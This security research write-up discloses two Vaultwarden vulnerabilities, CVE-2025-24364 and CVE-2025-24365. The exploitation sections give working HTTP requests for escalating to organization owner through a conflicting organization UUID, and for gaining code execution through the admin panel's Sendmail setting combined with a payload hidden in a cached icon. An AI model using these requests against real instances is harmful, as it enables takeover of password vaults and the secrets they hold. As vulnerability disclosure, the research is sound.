
Exploring CVE‑2025‑24364 and CVE‑2025‑24365 in Vaultwarden
Vaultwarden is a free solution with a Bitwarden-compatible API and an ever-growing user base. According to BI.ZONE TDR, 10% of Russian companies use Vaultwarden this year.
Like any other secrets manager, Vaultwarden is a critical service that requires heightened security oversight. If compromised, the solution can open the door to multiple risks. As Vaultwarden stores secrets from other internal services, its breach could reveal these sensitive data to the attacker. And if the product automatically obtains secrets via API, the adversary could reach hosts with broad network access.
This instigated our research which identified two high-impact vulnerabilities: CVE‑2025‑24364 and CVE‑2025‑24365.
We began our analysis with the access control mechanism, focusing specifically on how Vaultwarden manages access to secrets created within an organization.
The majority of associated endpoints obtain organization UUIDs from the request path. However, some endpoints receive their UUIDs via the GET query. It is important to note that the endpoint logic does not contain the organization-based access control logic, which is handled by a dedicated function called Request Guard (a Rocket web framework term). In essence, Request Guard
is designed to retrieve and validate data from an HTTP request.

Request Guard
code for OrgHeaders
trait

OrgHeaders
trait
Request Guard
receives an organization UUID and checks whether a user belongs to the organization before assigning respective rights.
What we are interested in, though, is how exactly Request Guard
gets the UUID of the organization. A code snippet with this logic is shown below.

Request Guard
You can see that the host is trying to retrieve the UUID from the request path and the GET query, as described above.
But what if the UUID is specified in both the path and the GET parameter at the same time? In this case, the host initially reads the organization UUID from the path, but then immediately overwrites it with the UUID from GET. The OrgHeaders
trait does not contain the organization UUID data. Therefore, each organization-related endpoint implements its own UUID retrieval logic.
And this is where the vulnerability reveals itself: the adversary can now interact with the target organization while using the access rights of another organization.
Exploitation
We exploit the vulnerability by getting admin rights in an organization where we initially have unprivileged access.
Our user Attacker
has user rights at the organization org1
.

org1
user list
To exploit the vulnerability, we need an organization where we have owner privileges. For this purpose, we create an organization named my_own_org
.

Attacker
Now we can use the vulnerability to change our rights at org1
. First, we obtain the list of users by running the following query:
GET /api/organizations/<ORG1_UUID>/users?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
Here, <ORG1_UUID>
is the UUID of org1
and <MY_OWN_ORG_UUID>
is the UUID of my_own_org
.
The host responds with information on all users in the organization:
{
"data": [
...
{
"accessAll": false,
"accessSecretsManager": false,
"avatarColor": null,
"collections": [],
"email": "attacker@gmail.com",
"externalId": null,
"groups": [],
"hasMasterPassword": false,
"id": <ENROLLMENT_UUID>,
"name": null,
"object": "organizationUserUserDetails",
"permissions": {
"accessEventLogs": false,
"accessImportExport": false,
"accessReports": false,
"createNewCollections": false,
"deleteAnyCollection": false,
"deleteAssignedCollections": false,
"editAnyCollection": false,
"editAssignedCollections": false,
"manageGroups": false,
"managePolicies": false,
"manageResetPassword": false,
"manageScim": false,
"manageSso": false,
"manageUsers": false
},
"resetPasswordEnrolled": false,
"ssoBound": false,
"status": 2,
"twoFactorEnabled": false,
"type": 2,
"userId": <USER_UUID>,
"usesKeyConnector": false
}
],
"object": "list",
"continuationToken": null
}
Here, <ENROLLMENT_UUID>
is the UUID of an organization enrollee and <USER_UUID>
is the UUID of a user.
Using <ENROLLMENT_UUID>
from the previous query, we grant our user owner rights in org1
:
PUT /api/organizations/<ORG1_UUID>/users/<ENROLLMENT_UUID>/?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1
Host: vaultwarden-host
Bitwarden-Client-Version: 2024.6.2
authorization: Bearer <TOKEN>
device-type: 9
{
"collections": [],
"groups": [],
"accessAll": true,
"permissions": {
"response": null
},
"type": 0,
"accessSecretsManager": true
}
Thus, we obtain owner rights in the organization where we had only user-level access.

Attacker
displayed as owner among org1
users
Exploitation overview:
- The adversary has limited rights in organization А.
- The adversary creates organization B and becomes its admin by default.
- The adversary sends requests to endpoints and specifies organization A’s UUID in the path parameter and organization B’s UUID in the GET query.
- The adversary gets admin rights in organization А.
In addition to the access control mechanism, we examined the Vaultwarden admin panel.

First, we saw the opportunity to use Sendmail as an SMTP client and specify a command for sending messages. We opted for the /bin/sh
command to execute arbitrary code.
However, this was not enough. To successfully exploit the vulnerability, we needed an .sh
file with our payload. Therefore, we changed the path to the icon cache folder in the admin panel, using the following query:
POST /admin/config HTTP/1.1
Host: vaultwarden_host
Content-Type: application/json
Cookie: VW_ADMIN=<admin_session>
{
...
"icon_cache_folder": "/@icon"
}
Once we changed the directory, Vaultwarden automatically created it at /@icon
, where the name (file path) adheres to regex rules for email validation. This is a prerequisite for successful exploitation as Sendmail requires having an email address as an argument.
Now we must create an icon to bear the payload. To achieve this, we take a PNG file and embed our payload into the file’s metadata.

In our case, payload execution results in the file appearing at /win
in the file system. Any other payload can be executed in a similar fashion.
Next, we save the image on our host in such a way that the file is accessible via the GET query /apple-touch-icon.png
.
Then we make Vaultwarden save the image by submitting another GET query /icons/site.com/icon.png
, where site.com
is our website.
Vaultwarden’s server saves the image at /@icon/site.com.png
.

/@icon
directory listing
After that, we configure the admin panel as shown below.

As seen in the image, the From Address
field contains the absolute path to the saved image.
Now that the preparatory stage is complete, we can execute our code. All it takes is a single HTTP request:
POST /admin/test/smtp HTTP/1.1
Host: vaultwarden_host
Content-Type: application/json
Cookie: VW_ADMIN=<admin_session>
{
"email": "test@test.com"
}
Having processed the request, the host runs /bin/sh
whereby it specifies /@icon/site.com.png
as the argument, thus executing our payload.
The /win
file appears in the file system, proving that the exploitation was successful.

/win
content
Exploitation overview:
- The adversary has access to the admin panel.
- The adversary replaces the icon cache directory with
/@icon
. - The adversary modifies SMTP settings to use the executable file
/bin/sh
for sending messages and to replace the outgoing address with/@icon/site.com.png
. - The adversary hosts the payload-bearing image at
site.com/apple-touch-icon.png
and makes Vaultwarden cache the image. - The adversary sends a test message to trigger arbitrary code execution.
Despite an earlier security audit of Vaultwarden’s code, the password manager still has vulnerabilities.
To narrow down the attack surface and reduce the risk of compromising your secrets, we recommend disabling any unused functionality in Vaultwarden.